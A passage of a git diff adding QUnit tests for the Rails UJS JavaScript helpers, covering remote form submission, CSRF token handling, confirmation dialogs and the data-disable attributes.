+
+asyncTest('execution of JS code does not modify current DOM', 1, function() {
+  var docLength, newDocLength
+  function getDocLength() {
+    return document.documentElement.outerHTML.length
+  }
+
+  buildForm({ method: 'post', 'data-type': 'script' })
+
+  $('form').append('<input type="text" name="content_type" value="text/javascript">')
+  $('form').append('<input type="text" name="content" value="\'remote code should be run\'">')
+
+  docLength = getDocLength()
+
+  submit(function() {
+    newDocLength = getDocLength()
+    ok(docLength === newDocLength, 'executed JS should not present in the document')
+  })
+})
+
+asyncTest('XML document should be parsed', 1, function() {
+  buildForm({ method: 'post', 'data-type': 'html' })
+
+  $('form').append('<input type="text" name="content_type" value="application/xml">')
+  $('form').append('<input type="text" name="content" value="<p>hello</p>">')
+
+  submit(function(e, data, status, xhr) {
+    ok(data instanceof Document, 'returned data should be an XML document')
+  })
+})
+
+asyncTest('accept application/json if "data-type" is json', 1, function() {
+  buildForm({ method: 'post', 'data-type': 'json' })
+
+  submit(function(e, data, status, xhr) {
+    equal(data.HTTP_ACCEPT, 'application/json, text/javascript, */*; q=0.01')
+  })
+})
+
+asyncTest('allow empty "data-remote" attribute', 1, function() {
+  var form = $('#qunit-fixture').append($('<form action="/echo" data-remote />')).find('form')
+
+  submit(function() {
+    ok(true, 'form with empty "data-remote" attribute is also allowed')
+  })
+})
+
+asyncTest('query string in form action should be stripped in a GET request in normal submit', 1, function() {
+  buildForm({ action: '/echo?param1=abc', 'data-remote': 'false' })
+
+  $(document).one('iframe:loaded', function(e, data) {
+    equal(data.params.param1, undefined, '"param1" should not be passed to server')
+    start()
+  })
+
+  $('#qunit-fixture form').triggerNative('submit')
+})
+
+asyncTest('query string in form action should be stripped in a GET request in ajax submit', 1, function() {
+  buildForm({ action: '/echo?param1=abc' })
+
+  submit(function(e, data, status, xhr) {
+    equal(data.params.param1, undefined, '"param1" should not be passed to server')
+  })
+})
+
+asyncTest('query string in form action should not be stripped in a POST request in normal submit', 1, function() {
+  buildForm({ action: '/echo?param1=abc', method: 'post', 'data-remote': 'false' })
+
+  $(document).one('iframe:loaded', function(e, data) {
+    equal(data.params.param1, 'abc', '"param1" should be passed to server')
+    start()
+  })
+
+  $('#qunit-fixture form').triggerNative('submit')
+})
+
+asyncTest('query string in form action should not be stripped in a POST request in ajax submit', 1, function() {
+  buildForm({ action: '/echo?param1=abc', method: 'post' })
+
+  submit(function(e, data, status, xhr) {
+    equal(data.params.param1, 'abc', '"param1" should be passed to server')
+  })
+})
+
+asyncTest('allow empty form "action"', 1, function() {
+  var currentLocation, ajaxLocation
+
+  buildForm({ action: '' })
+
+  $('#qunit-fixture').find('form')
+    .bindNative('ajax:beforeSend', function(e, xhr, settings) {
+      // Get current location (the same way jQuery does)
+      try {
+        currentLocation = location.href
+      } catch(err) {
+        currentLocation = document.createElement( 'a' )
+        currentLocation.href = ''
+        currentLocation = currentLocation.href
+      }
+      currentLocation = currentLocation.replace(/\?.*$/, '')
+
+      // Actual location (strip out settings.data that jQuery serializes and appends)
+      // HACK: can no longer use settings.data below to see what was appended to URL, as of
+      // jQuery 1.6.3 (see http://bugs.jquery.com/ticket/10202 and https://github.com/jquery/jquery/pull/544)
+      ajaxLocation = settings.url.replace('user_name=john', '').replace(/&$/, '').replace(/\?$/, '')
+      equal(ajaxLocation.match(/^(.*)/)[1], currentLocation, 'URL should be current page by default')
+
+      // Prevent the request from actually getting sent to the current page and
+      // causing an error.
+      return false
+    })
+    .triggerNative('submit')
+
+  setTimeout(function() { start() }, 13)
+})
+
+asyncTest('sends CSRF token in custom header', 1, function() {
+  buildForm({ method: 'post' })
+  $('#qunit-fixture').append('<meta name="csrf-token" content="cf50faa3fe97702ca1ae" />')
+
+  submit(function(e, data, status, xhr) {
+    equal(data.HTTP_X_CSRF_TOKEN, 'cf50faa3fe97702ca1ae', 'X-CSRF-Token header should be sent')
+  })
+})
+
+asyncTest('intelligently guesses crossDomain behavior when target URL has a different protocol and/or hostname', 1, function() {
+
+  // Don't set data-cross-domain here, just set action to be a different domain than localhost
+  buildForm({ action: 'http://www.alfajango.com' })
+  $('#qunit-fixture').append('<meta name="csrf-token" content="cf50faa3fe97702ca1ae" />')
+
+  $('#qunit-fixture').find('form')
+    .bindNative('ajax:beforeSend', function(evt, req, settings) {
+
+      equal(settings.crossDomain, true, 'crossDomain should be set to true')
+
+      // prevent request from actually getting sent off-domain
+      return false
+    })
+    .triggerNative('submit')
+
+  setTimeout(function() { start() }, 13)
+})
+
+asyncTest('intelligently guesses crossDomain behavior when target URL consists of only a path', 1, function() {
+
+  // Don't set data-cross-domain here, just set action to be a different domain than localhost
+  buildForm({ action: '/just/a/path' })
+  $('#qunit-fixture').append('<meta name="csrf-token" content="cf50faa3fe97702ca1ae" />')
+
+  $('#qunit-fixture').find('form')
+    .bindNative('ajax:beforeSend', function(evt, req, settings) {
+
+      equal(settings.crossDomain, false, 'crossDomain should be set to false')
+
+      // prevent request from actually getting sent off-domain
+      return false
+    })
+    .triggerNative('submit')
+
+  setTimeout(function() { start() }, 13)
+})
+
+})()
diff --git a/actionview/test/ujs/public/test/csrf-refresh.js b/actionview/test/ujs/public/test/csrf-refresh.js
new file mode 100644
index 0000000000..e302042542
--- /dev/null
+++ b/actionview/test/ujs/public/test/csrf-refresh.js
@@ -0,0 +1,24 @@
+(function() {
+
+module('csrf-refresh', {})
+
+asyncTest('refresh all csrf tokens', 1, function() {
+  var correctToken = 'cf50faa3fe97702ca1ae'
+
+  var form = $('<form />')
+  var input = $('<input>').attr({ type: 'hidden', name: 'authenticity_token', id: 'authenticity_token', value: 'foo' })
+  input.appendTo(form)
+
+  $('#qunit-fixture')
+    .append('<meta name="csrf-param" content="authenticity_token"/>')
+    .append('<meta name="csrf-token" content="' + correctToken + '"/>')
+    .append(form)
+
+  $.rails.refreshCSRFTokens()
+  currentToken = $('#qunit-fixture #authenticity_token').val()
+
+  start()
+  equal(currentToken, correctToken)
+})
+
+})()
diff --git a/actionview/test/ujs/public/test/csrf-token.js b/actionview/test/ujs/public/test/csrf-token.js
new file mode 100644
index 0000000000..388b40e057
--- /dev/null
+++ b/actionview/test/ujs/public/test/csrf-token.js
@@ -0,0 +1,27 @@
+(function() {
+
+module('csrf-token', {})
+
+asyncTest('find csrf token', 1, function() {
+  var correctToken = 'cf50faa3fe97702ca1ae'
+
+  $('#qunit-fixture').append('<meta name="csrf-token" content="' + correctToken + '"/>')
+
+  currentToken = $.rails.csrfToken()
+
+  start()
+  equal(currentToken, correctToken)
+})
+
+asyncTest('find csrf param', 1, function() {
+  var correctParam = 'authenticity_token'
+
+  $('#qunit-fixture').append('<meta name="csrf-param" content="' + correctParam + '"/>')
+
+  currentParam = $.rails.csrfParam()
+
+  start()
+  equal(currentParam, correctParam)
+})
+
+})()
diff --git a/actionview/test/ujs/public/test/data-confirm.js b/actionview/test/ujs/public/test/data-confirm.js
new file mode 100644
index 0000000000..d1ea82ea7e
--- /dev/null
+++ b/actionview/test/ujs/public/test/data-confirm.js
@@ -0,0 +1,316 @@
+module('data-confirm', {
+  setup: function() {
+    $('#qunit-fixture').append($('<a />', {
+      href: '/echo',
+      'data-remote': 'true',
+      'data-confirm': 'Are you absolutely sure?',
+      text: 'my social security number'
+    }))
+
+    $('#qunit-fixture').append($('<button />', {
+      'data-url': '/echo',
+      'data-remote': 'true',
+      'data-confirm': 'Are you absolutely sure?',
+      text: 'Click me'
+    }))
+
+    $('#qunit-fixture').append($('<form />', {
+      id: 'confirm',
+      action: '/echo',
+      'data-remote': 'true'
+    }))
+
+    $('#qunit-fixture').append($('<input />', {
+      type: 'submit',
+      form: 'confirm',
+      'data-confirm': 'Are you absolutely sure?'
+    }))
+
+    $('#qunit-fixture').append($('<button />', {
+      type: 'submit',
+      form: 'confirm',
+      disabled: 'disabled',
+      'data-confirm': 'Are you absolutely sure?'
+    }))
+
+    this.windowConfirm = window.confirm
+  },
+  teardown: function() {
+    window.confirm = this.windowConfirm
+  }
+})
+
+asyncTest('clicking on a link with data-confirm attribute. Confirm yes.', 6, function() {
+  var message
+  // auto-confirm:
+  window.confirm = function(msg) { message = msg; return true }
+
+  $('a[data-confirm]')
+    .bindNative('confirm:complete', function(e, data) {
+      App.assertCallbackInvoked('confirm:complete')
+      ok(data == true, 'confirm:complete passes in confirm answer (true)')
+    })
+    .bindNative('ajax:success', function(e, data, status, xhr) {
+      App.assertCallbackInvoked('ajax:success')
+      App.assertRequestPath(data, '/echo')
+      App.assertGetRequest(data)
+
+      equal(message, 'Are you absolutely sure?')
+      start()
+    })
+    .triggerNative('click')
+})
+
+asyncTest('clicking on a button with data-confirm attribute. Confirm yes.', 6, function() {
+  var message
+  // auto-confirm:
+  window.confirm = function(msg) { message = msg; return true }
+
+  $('button[data-confirm]')
+    .bindNative('confirm:complete', function(e, data) {
+      App.assertCallbackInvoked('confirm:complete')
+      ok(data == true, 'confirm:complete passes in confirm answer (true)')
+    })
+    .bindNative('ajax:success', function(e, data, status, xhr) {
+      App.assertCallbackInvoked('ajax:success')
+      App.assertRequestPath(data, '/echo')
+      App.assertGetRequest(data)
+
+      equal(message, 'Are you absolutely sure?')
+      start()
+    })
+    .triggerNative('click')
+})
+
+asyncTest('clicking on a link with data-confirm attribute. Confirm No.', 3, function() {
+  var message
+  // auto-decline:
+  window.confirm = function(msg) { message = msg; return false }
+
+  $('a[data-confirm]')
+    .bindNative('confirm:complete', function(e, data) {
+      App.assertCallbackInvoked('confirm:complete')
+      ok(data == false, 'confirm:complete passes in confirm answer (false)')
+    })
+    .bindNative('ajax:beforeSend', function(e, data, status, xhr) {
+      App.assertCallbackNotInvoked('ajax:beforeSend')
+    })
+    .triggerNative('click')
+
+  setTimeout(function() {
+    equal(message, 'Are you absolutely sure?')
+    start()
+  }, 50)
+})
+
+asyncTest('clicking on a button with data-confirm attribute. Confirm No.', 3, function() {
+  var message
+  // auto-decline:
+  window.confirm = function(msg) { message = msg; return false }
+
+  $('button[data-confirm]')
+    .bindNative('confirm:complete', function(e, data) {
+      App.assertCallbackInvoked('confirm:complete')
+      ok(data == false, 'confirm:complete passes in confirm answer (false)')
+    })
+    .bindNative('ajax:beforeSend', function(e, data, status, xhr) {
+      App.assertCallbackNotInvoked('ajax:beforeSend')
+    })
+    .triggerNative('click')
+
+  setTimeout(function() {
+    equal(message, 'Are you absolutely sure?')
+    start()
+  }, 50)
+})
+
+asyncTest('clicking on a button with data-confirm attribute. Confirm error.', 3, function() {
+  var message
+  // auto-decline:
+  window.confirm = function(msg) { message = msg; throw 'some random error' }
+
+  $('button[data-confirm]')
+    .bindNative('confirm:complete', function(e, data) {
+      App.assertCallbackInvoked('confirm:complete')
+      ok(data == false, 'confirm:complete passes in confirm answer (false)')
+    })
+    .bindNative('ajax:beforeSend', function(e, data, status, xhr) {
+      App.assertCallbackNotInvoked('ajax:beforeSend')
+    })
+    .triggerNative('click')
+
+  setTimeout(function() {
+    equal(message, 'Are you absolutely sure?')
+    start()
+  }, 50)
+})
+
+asyncTest('clicking on a submit button with form and data-confirm attributes. Confirm No.', 3, function() {
+  var message
+  // auto-decline:
+  window.confirm = function(msg) { message = msg; return false }
+
+  $('input[type=submit][form]')
+    .bindNative('confirm:complete', function(e, data) {
+      App.assertCallbackInvoked('confirm:complete')
+      ok(data == false, 'confirm:complete passes in confirm answer (false)')
+    })
+    .bindNative('ajax:beforeSend', function(e, data, status, xhr) {
+      App.assertCallbackNotInvoked('ajax:beforeSend')
+    })
+    .triggerNative('click')
+
+  setTimeout(function() {
+    equal(message, 'Are you absolutely sure?')
+    start()
+  }, 50)
+})
+
+asyncTest('binding to confirm event of a link and returning false', 1, function() {
+  // redefine confirm function so we can make sure it's not called
+  window.confirm = function(msg) {
+    ok(false, 'confirm dialog should not be called')
+  }
+
+  $('a[data-confirm]')
+    .bindNative('confirm', function() {
+      App.assertCallbackInvoked('confirm')
+      return false
+    })
+    .bindNative('confirm:complete', function() {
+      App.assertCallbackNotInvoked('confirm:complete')
+    })
+    .triggerNative('click')
+
+  setTimeout(function() {
+    start()
+  }, 50)
+})
+
+asyncTest('binding to confirm event of a button and returning false', 1, function() {
+  // redefine confirm function so we can make sure it's not called
+  window.confirm = function(msg) {
+    ok(false, 'confirm dialog should not be called')
+  }
+
+  $('button[data-confirm]')
+    .bindNative('confirm', function() {
+      App.assertCallbackInvoked('confirm')
+      return false
+    })
+    .bindNative('confirm:complete', function() {
+      App.assertCallbackNotInvoked('confirm:complete')
+    })
+    .triggerNative('click')
+
+  setTimeout(function() {
+    start()
+  }, 50)
+})
+
+asyncTest('binding to confirm:complete event of a link and returning false', 2, function() {
+  // auto-confirm:
+  window.confirm = function(msg) {
+    ok(true, 'confirm dialog should be called')
+    return true
+  }
+
+  $('a[data-confirm]')
+    .bindNative('confirm:complete', function() {
+      App.assertCallbackInvoked('confirm:complete')
+      return false
+    })
+    .bindNative('ajax:beforeSend', function() {
+      App.assertCallbackNotInvoked('ajax:beforeSend')
+    })
+    .triggerNative('click')
+
+  setTimeout(function() {
+    start()
+  }, 50)
+})
+
+asyncTest('binding to confirm:complete event of a button and returning false', 2, function() {
+  // auto-confirm:
+  window.confirm = function(msg) {
+    ok(true, 'confirm dialog should be called')
+    return true
+  }
+
+  $('button[data-confirm]')
+    .bindNative('confirm:complete', function() {
+      App.assertCallbackInvoked('confirm:complete')
+      return false
+    })
+    .bindNative('ajax:beforeSend', function() {
+      App.assertCallbackNotInvoked('ajax:beforeSend')
+    })
+    .triggerNative('click')
+
+  setTimeout(function() {
+    start()
+  }, 50)
+})
+
+asyncTest('a button inside a form only confirms once', 1, function() {
+  var confirmations = 0
+  window.confirm = function(msg) {
+    confirmations++
+    return true
+  }
+
+  $('#qunit-fixture').append($('<form />').append($('<button />', {
+    'data-remote': 'true',
+    'data-confirm': 'Are you absolutely sure?',
+    text: 'Click me'
+  })))
+
+  $('form > button[data-confirm]').triggerNative('click')
+
+  ok(confirmations === 1, 'confirmation counter should be 1, but it was ' + confirmations)
+  start()
+})
+
+asyncTest('clicking on the children of a link should also trigger a confirm', 6, function() {
+  var message
+  // auto-confirm:
+  window.confirm = function(msg) { message = msg; return true }
+
+  $('a[data-confirm]')
+    .html('<strong>Click me</strong>')
+    .bindNative('confirm:complete', function(e, data) {
+      App.assertCallbackInvoked('confirm:complete')
+      ok(data == true, 'confirm:complete passes in confirm answer (true)')
+    })
+    .bindNative('ajax:success', function(e, data, status, xhr) {
+      App.assertCallbackInvoked('ajax:success')
+      App.assertRequestPath(data, '/echo')
+      App.assertGetRequest(data)
+
+      equal(message, 'Are you absolutely sure?')
+      start()
+    })
+    .find('strong')
+    .triggerNative('click')
+})
+
+asyncTest('clicking on the children of a disabled button should not trigger a confirm.', 1, function() {
+  var message
+  // auto-decline:
+  window.confirm = function(msg) { message = msg; return false }
+
+  $('button[data-confirm][disabled]')
+    .html('<strong>Click me</strong>')
+    .bindNative('confirm', function() {
+      App.assertCallbackNotInvoked('confirm')
+    })
+    .find('strong')
+    .bindNative('click', function() {
+      App.assertCallbackInvoked('click')
+    })
+    .triggerNative('click')
+
+  setTimeout(function() {
+    start()
+  }, 50)
+})
diff --git a/actionview/test/ujs/public/test/data-disable-with.js b/actionview/test/ujs/public/test/data-disable-with.js
new file mode 100644
index 0000000000..b29cbbc867
--- /dev/null
+++ b/actionview/test/ujs/public/test/data-disable-with.js
@@ -0,0 +1,391 @@
+module('data-disable-with', {
+  setup: function() {
+    $('#qunit-fixture').append($('<form />', {
+      action: '/echo',
+      'data-remote': 'true',
+      method: 'post'
+    }))
+      .find('form')
+      .append($('<input type="text" data-disable-with="processing ..." name="user_name" value="john" />'))
+
+    $('#qunit-fixture').append($('<form />', {
+      action: '/echo',
+      method: 'post',
+      id: 'not_remote'
+    }))
+      .find('form:last')
+      // WEEIRDD: the form won't submit to an iframe if the button is name="submit" (??!)
+      .append($('<input type="submit" data-disable-with="submitting ..." name="submit2" value="Submit" />'))
+
+    $('#qunit-fixture').append($('<a />', {
+      text: 'Click me',
+      href: '/echo',
+      'data-disable-with': 'clicking...'
+    }))
+
+    $('#qunit-fixture').append($('<input />', {
+      type: 'submit',
+      form: 'not_remote',
+      'data-disable-with': 'form attr submitting',
+      name: 'submit3',
+      value: 'Form Attr Submit'
+    }))
+
+    $('#qunit-fixture').append($('<button />', {
+      text: 'Click me',
+      'data-remote': true,
+      'data-url': '/echo',
+      'data-disable-with': 'clicking...'
+    }))
+  },
+  teardown: function() {
+    $(document).unbind('iframe:loaded')
+  }
+})
+
+asyncTest('form input field with "data-disable-with" attribute', 7, function() {
+  var form = $('form[data-remote]'), input = form.find('input[type=text]')
+
+  App.checkEnabledState(input, 'john')
+
+  form.bindNative('ajax:success', function(e, data) {
+    setTimeout(function() {
+      App.checkEnabledState(input, 'john')
+      equal(data.params.user_name, 'john')
+      start()
+    }, 13)
+  })
+  form.triggerNative('submit')
+
+  App.checkDisabledState(input, 'processing ...')
+})
+
+asyncTest('blank form input field with "data-disable-with" attribute', 7, function() {
+  var form = $('form[data-remote]'), input = form.find('input[type=text]')
+
+  input.val('')
+  App.checkEnabledState(input, '')
+
+  form.bindNative('ajax:success', function(e, data) {
+    setTimeout(function() {
+      App.checkEnabledState(input, '')
+      equal(data.params.user_name, '')
+      start()
+    }, 13)
+  })
+  form.triggerNative('submit')
+
+  App.checkDisabledState(input, 'processing ...')
+})
+
+asyncTest('form button with "data-disable-with" attribute', 6, function() {
+  var form = $('form[data-remote]'), button = $('<button data-disable-with="submitting ..." name="submit2">Submit</button>')
+  form.append(button)
+
+  App.checkEnabledState(button, 'Submit')
+
+  form.bindNative('ajax:success', function(e, data) {
+    setTimeout(function() {
+      App.checkEnabledState(button, 'Submit')
+      start()
+    }, 13)
+  })
+  form.triggerNative('submit')
+
+  App.checkDisabledState(button, 'submitting ...')
+})
+
+asyncTest('form input[type=submit][data-disable-with] disables', 6, function() {
+  var form = $('form:not([data-remote])'), input = form.find('input[type=submit]')
+
+  App.checkEnabledState(input, 'Submit')
+
+  $(document).bind('iframe:loaded', function(e, data) {
+    setTimeout(function() {
+      App.checkDisabledState(input, 'submitting ...')
+      start()
+    }, 30)
+  })
+  form.triggerNative('submit')
+
+  setTimeout(function() {
+    App.checkDisabledState(input, 'submitting ...')
+  }, 30)
+})
+
+test('form input[type=submit][data-disable-with] re-enables when `pageshow` event is triggered', function() {
+  var form = $('form:not([data-remote])'), input = form.find('input[type=submit]')
+
+  App.checkEnabledState(input, 'Submit')
+
+  // Emulate the disabled state without submitting the form at all, what is the
+  // state after going back on firefox after submitting a form.
+  //
+  // See https://github.com/rails/jquery-ujs/issues/357
+  $.rails.disableElement(form[0])
+
+  App.checkDisabledState(input, 'submitting ...')
+
+  $(window).triggerNative('pageshow')
+
+  App.checkEnabledState(input, 'Submit')
+})
+
+asyncTest('form[data-remote] input[type=submit][data-disable-with] is replaced in ajax callback', 2, function() {
+  var form = $('form:not([data-remote])').attr('data-remote', 'true'), origFormContents = form.html()
+
+  form.bindNative('ajax:success', function() {
+    form.html(origFormContents)
+
+    setTimeout(function() {
+      var input = form.find('input[type=submit]')
+      App.checkEnabledState(input, 'Submit')
+      start()
+    }, 30)
+  }).triggerNative('submit')
+})
+
+asyncTest('form[data-remote] input[data-disable-with] is replaced with disabled field in ajax callback', 2, function() {
+  var form = $('form:not([data-remote])').attr('data-remote', 'true'), input = form.find('input[type=submit]'),
+      newDisabledInput = input.clone().attr('disabled', 'disabled')
+
+  form.bindNative('ajax:success', function() {
+    input.replaceWith(newDisabledInput)
+
+    setTimeout(function() {
+      App.checkEnabledState(newDisabledInput, 'Submit')
+      start()
+    }, 30)
+  }).triggerNative('submit')
+})
+
+asyncTest('form input[type=submit][data-disable-with] using "form" attribute disables', 6, function() {
+  var form = $('#not_remote'), input = $('input[form=not_remote]')
+  App.checkEnabledState(input, 'Form Attr Submit')
+
+  $(document).bind('iframe:loaded', function(e, data) {
+    setTimeout(function() {
+      App.checkDisabledState(input, 'form attr submitting')
+      start()
+    }, 30)
+  })
+  form.triggerNative('submit')
+
+  setTimeout(function() {
+    App.checkDisabledState(input, 'form attr submitting')
+  }, 30)
+
+})
+
+asyncTest('form[data-remote] textarea[data-disable-with] attribute', 3, function() {
+  var form = $('form[data-remote]'),
+      textarea = $('<textarea data-disable-with="processing ..." name="user_bio">born, lived, died.</textarea>').appendTo(form)
+
+  form.bindNative('ajax:success', function(e, data) {
+    setTimeout(function() {
+      equal(data.params.user_bio, 'born, lived, died.')
+      start()
+    }, 13)
+  })
+  form.triggerNative('submit')
+
+  App.checkDisabledState(textarea, 'processing ...')
+})
+
+asyncTest('a[data-disable-with] disables', 4, function() {
+  var link = $('a[data-disable-with]')
+
+  App.checkEnabledState(link, 'Click me')
+
+  link.triggerNative('click')
+  App.checkDisabledState(link, 'clicking...')
+  start()
+})
+
+test('a[data-disable-with] re-enables when `pageshow` event is triggered', function() {
+  var link = $('a[data-disable-with]')
+
+  App.checkEnabledState(link, 'Click me')
+
+  link.triggerNative('click')
+  App.checkDisabledState(link, 'clicking...')
+
+  $(window).triggerNative('pageshow')
+  App.checkEnabledState(link, 'Click me')
+})
+
+asyncTest('a[data-remote][data-disable-with] disables and re-enables', 6, function() {
+  var link = $('a[data-disable-with]').attr('data-remote', true)
+
+  App.checkEnabledState(link, 'Click me')
+
+  link
+    .bindNative('ajax:beforeSend', function() {
+      App.checkDisabledState(link, 'clicking...')
+    })
+    .bindNative('ajax:complete', function() {
+      setTimeout( function() {
+        App.checkEnabledState(link, 'Click me')
+        start()
+      }, 15)
+    })
+    .triggerNative('click')
+})
+
+asyncTest('a[data-remote][data-disable-with] re-enables when `ajax:before` event is cancelled', 6, function() {
+  var link = $('a[data-disable-with]').attr('data-remote', true)
+
+  App.checkEnabledState(link, 'Click me')
+
+  link
+    .bindNative('ajax:before', function() {
+      App.checkDisabledState(link, 'clicking...')
+      return false
+    })
+    .triggerNative('click')
+
+  setTimeout(function() {
+    App.checkEnabledState(link, 'Click me')
+    start()
+  }, 30)
+})
+
+asyncTest('a[data-remote][data-disable-with] re-enables when `ajax:beforeSend` event is cancelled', 6, function() {
+  var link = $('a[data-disable-with]').attr('data-remote', true)
+
+  App.checkEnabledState(link, 'Click me')
+
+  link
+    .bindNative('ajax:beforeSend', function() {
+      App.checkDisabledState(link, 'clicking...')
+      return false
+    })
+    .triggerNative('click')
+
+  setTimeout(function() {
+    App.checkEnabledState(link, 'Click me')
+    start()
+  }, 30)
+})
+
+asyncTest('a[data-remote][data-disable-with] re-enables when `ajax:error` event is triggered', 6, function() {
+  var link = $('a[data-disable-with]').attr('data-remote', true).attr('href', '/error')
+
+  App.checkEnabledState(link, 'Click me')
+
+  link
+    .bindNative('ajax:beforeSend', function() {
+      App.checkDisabledState(link, 'clicking...')
+    })
+    .triggerNative('click')
+
+  setTimeout(function() {
+    App.checkEnabledState(link, 'Click me')
+    start()
+  }, 30)
+})
+
+asyncTest('form[data-remote] input|button|textarea[data-disable-with] does not disable when `ajax:beforeSend` event is cancelled', 8, function() {
+  var form = $('form[data-remote]'),
+      input = form.find('input:text'),
+      button = $('<button data-disable-with="submitting ..." name="submit2">Submit</button>').appendTo(form),
+      textarea = $('<textarea data-disable-with="processing ..." name="user_bio">born, lived, died.</textarea>').appendTo(form),
+      submit = $('<input type="submit" data-disable-with="submitting ..." name="submit2" value="Submit" />').appendTo(form)
+
+  form
+    .bindNative('ajax:beforeSend', function() {
+      return false
+    })
+    .triggerNative('submit')
+
+  App.checkEnabledState(input, 'john')
+  App.checkEnabledState(button, 'Submit')
+  App.checkEnabledState(textarea, 'born, lived, died.')
+  App.checkEnabledState(submit, 'Submit')
+
+  start()
+})
+
+asyncTest('ctrl-clicking on a link does not disables the link', 6, function() {
+  var link = $('a[data-disable-with]')
+
+  App.checkEnabledState(link, 'Click me')
+
+  link.triggerNative('click', { metaKey: true })
+  App.checkEnabledState(link, 'Click me')
+
+  link.triggerNative('click', { metaKey: true })
+  App.checkEnabledState(link, 'Click me')
+  start()
+})
+
+asyncTest('button[data-remote][data-disable-with] disables and re-enables', 6, function() {
+  var button = $('button[data-remote][data-disable-with]')
+
+  App.checkEnabledState(button, 'Click me')
+
+  button
+    .bindNative('ajax:send', function() {
+      App.checkDisabledState(button, 'clicking...')
+    })
+    .bindNative('ajax:complete', function() {
+      setTimeout( function() {
+        App.checkEnabledState(button, 'Click me')
+        start()
+      }, 15)
+    })
+    .triggerNative('click')
+})
+
+asyncTest('button[data-remote][data-disable-with] re-enables when `ajax:before` event is cancelled', 6, function() {
+  var button = $('button[data-remote][data-disable-with]')
+
+  App.checkEnabledState(button, 'Click me')
+
+  button
+    .bindNative('ajax:before', function() {
+      App.checkDisabledState(button, 'clicking...')
+      return false
+    })
+    .triggerNative('click')
+
+  setTimeout(function() {
+    App.checkEnabledState(button, 'Click me')
+    start()
+  }, 30)
+})
+
+asyncTest('button[data-remote][data-disable-with] re-enables when `ajax:beforeSend` event is cancelled', 6, function() {
+  var button = $('button[data-remote][data-disable-with]')
+
+  App.checkEnabledState(button, 'Click me')
+
+  button
+    .bindNative('ajax:beforeSend', function() {
+      App.checkDisabledState(button, 'clicking...')
+      return false
+    })
+    .triggerNative('click')
+
+  setTimeout(function() {
+    App.checkEnabledState(button, 'Click me')
+    start()
+  }, 30)
+})
+
+asyncTest('button[data-remote][data-disable-with] re-enables when `ajax:error` event is triggered', 6, function() {
+  var button = $('a[data-disable-with]').attr('data-remote', true).attr('href', '/error')
+
+  App.checkEnabledState(button, 'Click me')
+
+  button
+    .bindNative('ajax:send', function() {
+      App.checkDisabledState(button, 'clicking...')
+    })
+    .triggerNative('click')
+
+  setTimeout(function() {
+    App.checkEnabledState(button, 'Click me')
+    start()
+  }, 30)
+})
diff --git a/actionview/test/ujs/public/test/data-disable.js b/actionview/test/ujs/public/test/data-disable.js
new file mode 100644
index 0000000000..ccc38cf9ae
--- /dev/null
+++ b/actionview/test/ujs/public/test/data-disable.js
@@ -0,0 +1,321 @@
+module('data-disable', {
+  setup: function() {
+    $('#qunit-fixture').append($('<form />', {
+      action: '/echo',
+      'data-remote': 'true',
+      method: 'post'
+    }))
+      .find('form')
+      .append($('<input type="text" data-disable name="user_name" value="john" />'))
+
+    $('#qunit-fixture').append($('<form />', {
+      action: '/echo',
+      method: 'post'
+    }))
+      .find('form:last')
+      // WEEIRDD: the form won't submit to an iframe if the button is name="submit" (??!)
+      .append($('<input type="submit" data-disable name="submit2" value="Submit" />'))
+
+    $('#qunit-fixture').append($('<a />', {
+      text: 'Click me',
+      href: '/echo',
+      'data-disable': 'true'
+    }))
+
+    $('#qunit-fixture').append($('<button />', {
+      text: 'Click me',
+      'data-remote': true,
+      'data-url': '/echo',
+      'data-disable': 'true'
+    }))
+  },
+  teardown: function() {
+    $(document).unbind('iframe:loaded')
+  }
+})
+
+asyncTest('form input field with "data-disable" attribute', 7, function() {
+  var form = $('form[data-remote]'), input = form.find('input[type=text]')
+
+  App.checkEnabledState(input, 'john')
+
+  form.bindNative('ajax:success', function(e, data) {
+    setTimeout(function() {
+      App.checkEnabledState(input, 'john')
+      equal(data.params.user_name, 'john')
+      start()
+    }, 13)
+  })
+  form.triggerNative('submit')
+
+  App.checkDisabledState(input, 'john')
+})
+
+asyncTest('form button with "data-disable" attribute', 7, function() {
+  var form = $('form[data-remote]'), button = $('<button data-disable name="submit2">Submit</button>')
+  form.append(button)
+
+  App.checkEnabledState(button, 'Submit')
+
+  form.bindNative('ajax:success', function(e, data) {
+    setTimeout(function() {
+      App.checkEnabledState(button, 'Submit')
+      start()
+    }, 13)
+  })
+  form.triggerNative('submit')
+
+  App.checkDisabledState(button, 'Submit')
+  equal(button.data('ujs:enable-with'), undefined)
+})
+
+asyncTest('form input[type=submit][data-disable] disables', 6, function() {
+  var form = $('form:not([data-remote])'), input = form.find('input[type=submit]')
+
+  App.checkEnabledState(input, 'Submit')
+
+  // WEEIRDD: attaching this handler makes the test work in IE7
+  $(document).bind('iframe:loading', function(e, f) {})
+
+  $(document).bind('iframe:loaded', function(e, data) {
+    setTimeout(function() {
+      App.checkDisabledState(input, 'Submit')
+      start()
+    }, 30)
+  })
+  form.triggerNative('submit')
+
+  setTimeout(function() {
+    App.checkDisabledState(input, 'Submit')
+  }, 30)
+})
+
+asyncTest('form[data-remote] input[type=submit][data-disable] is replaced in ajax callback', 2, function() {
+  var form = $('form:not([data-remote])').attr('data-remote', 'true'), origFormContents = form.html()
+
+  form.bindNative('ajax:success', function() {
+    form.html(origFormContents)
+
+    setTimeout(function() {
+      var input = form.find('input[type=submit]')
+      App.checkEnabledState(input, 'Submit')
+      start()
+    }, 30)
+  }).triggerNative('submit')
+})
+
+asyncTest('form[data-remote] input[data-disable] is replaced with disabled field in ajax callback', 2, function() {
+  var form = $('form:not([data-remote])').attr('data-remote', 'true'), input = form.find('input[type=submit]'),
+      newDisabledInput = input.clone().attr('disabled', 'disabled')
+
+  form.bindNative('ajax:success', function() {
+    input.replaceWith(newDisabledInput)
+
+    setTimeout(function() {
+      App.checkEnabledState(newDisabledInput, 'Submit')
+      start()
+    }, 30)
+  }).triggerNative('submit')
+})
+
+asyncTest('form[data-remote] textarea[data-disable] attribute', 3, function() {
+  var form = $('form[data-remote]'),
+      textarea = $('<textarea data-disable name="user_bio">born, lived, died.</textarea>').appendTo(form)
+
+  form.bindNative('ajax:success', function(e, data) {
+    setTimeout(function() {
+      equal(data.params.user_bio, 'born, lived, died.')
+      start()
+    }, 13)
+  })
+  form.triggerNative('submit')
+
+  App.checkDisabledState(textarea, 'born, lived, died.')
+})
+
+asyncTest('a[data-disable] disables', 5, function() {
+  var link = $('a[data-disable]')
+
+  App.checkEnabledState(link, 'Click me')
+
+  link.triggerNative('click')
